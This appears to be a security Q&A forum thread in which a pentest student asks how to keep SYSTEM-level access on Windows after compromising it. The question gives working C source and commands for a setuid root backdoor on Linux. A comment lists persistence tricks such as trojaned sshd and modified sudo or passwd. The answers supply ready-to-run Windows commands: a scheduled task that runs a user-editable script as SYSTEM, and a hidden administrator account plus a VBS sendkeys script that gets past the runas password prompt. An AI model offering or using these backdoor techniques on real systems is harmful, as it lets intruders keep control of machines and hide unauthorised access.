-1

Studing pentest, I was astonished by how easy it was to backdoor a Linux machine after I got root. I just needed to compile a program like this:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main (int argc, char **argv){
    setresuid(0,0,0);
    system(argv[1]);
}

And then run these commands:

chown root:root backdoor
chmod 4755 backdoor

So now, any user can execute commands as root by using the backdoor:

./backdoor whoami

However, I don't see any easy solution on how to backdoor a windows system like I did with linux. So I want to do this lame question:

How can I backdoor a windows system after I get the root equivalent (NT AUTHORITY\SYSTEM)?

7
  • Are you asking how to escalate privileges? Nov 9, 2022 at 18:18
  • 2
    You don't need to compile anything. Copy bash somewhere as root and use chmod +s bash. It's not a backdoor, it's an intended mechanism working as designed.
    – ThoriumBR
    Nov 9, 2022 at 18:23
  • 1
    @pcalkins No, I want to ask what you do AFTER you escalate privilege. To maintain it!
    – psico_disk
    Nov 9, 2022 at 18:35
  • 2
    It's not quite a backdoor imho though... Nov 9, 2022 at 20:42
  • 1
    The question and the comments are not consistent. I will not address how to backdoor a Windows system but how to maintain privileges. To maintain privileges you start replacing services. Put in your own sshd with a fake user that runs as uid 0. Trojan httpd to give you access to another suid program. If you have shell access, litter the file system with suid binaries or modify sudo to recognize you or even put in a special case in passwd. Way too many possibilities to enumerate. Once you have root then the system is yours forever.
    – doneal24
    Nov 10, 2022 at 18:05

2 Answers 2

1

First of all, you and I seem to have different understanding of "backdoor". For me, if anyone speaks about a backdoor, I imagine something allowing the attacker to control the machine remotely - for example, a trojan, or RAT, or user account they can use to log in, or webshell etc.

What you are talking is something different - how to be able to run an arbitrary command as administrator (or NT AUTHORITY\SYSTEM).

There are multiple ways of course; the first thing popping into my mind is to create a scheduled task that would run any 5 minutes and execute a CMD script located in a folder accessible to the user (%temp% would do just great - however, in my example I've used a path which is a bit easier to access).

schtasks /create /tn "TestBackdoor" /sc minute /mo 5 /tr "C:\temp\test.cmd" /RU System

Then the user can just create or edit this file, putting any command he likes - it will be executed when the scheduled task runs. For example,

mkdir "C:\temp\btest"

Not a perfect backdoor and quite noisy also - but it's simple, and I thought the key question here was simplicity.

enter image description here

Credit for help with commands to create a scheduled task goes to:

https://superuser.com/questions/850299/windows-scheduler-that-runs-every-x-minutes-daily-on-the-command-line

https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create#to-schedule-a-task-that-runs-with-system-permissions

0

I find another way to do this.

First, create a user

NET USER myuser pass /EXPIRES:NEVER /PASSWORDCHG:NO /TIMES:ALL /WORKSTATIONS:* /ADD

Next, add him to the local admin group

NET LOCALGROUP Administrators myuser /ADD

Now I need to impersonate the user, but runas will always ask for the password. Luckily, I find this tip.

echo Set x=CreateObject("wscript.shell")>C:\windows\temp\pass.vbs
echo wscript.sleep 1000   >>C:\windows\temp\pass.vbs
echo x.sendkeys "pass"    >>C:\windows\temp\pass.vbs
echo x.sendkeys "{enter}" >>C:\windows\temp\pass.vbs
start C:\windows\temp\pass.vbs
runas /user:myuser "cmd.exe /c whoami>C:\windows\temp\res.txt"

Or in one line:

echo Set x=CreateObject("wscript.shell"):wscript.sleep 1000:x.sendkeys "pass":x.sendkeys "{enter}">C:\windows\temp\pass.vbs && start C:\windows\temp\pass.vbs && runas /user:myuser "cmd.exe /c whoami>C:\windows\temp\res.txt" && type C:\windows\temp\res.txt

Well, this look like the SUID version in windows.

1
  • Anyone know how to execute the vbs script without writing the file on disk?
    – psico_disk
    Nov 10, 2022 at 15:14

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .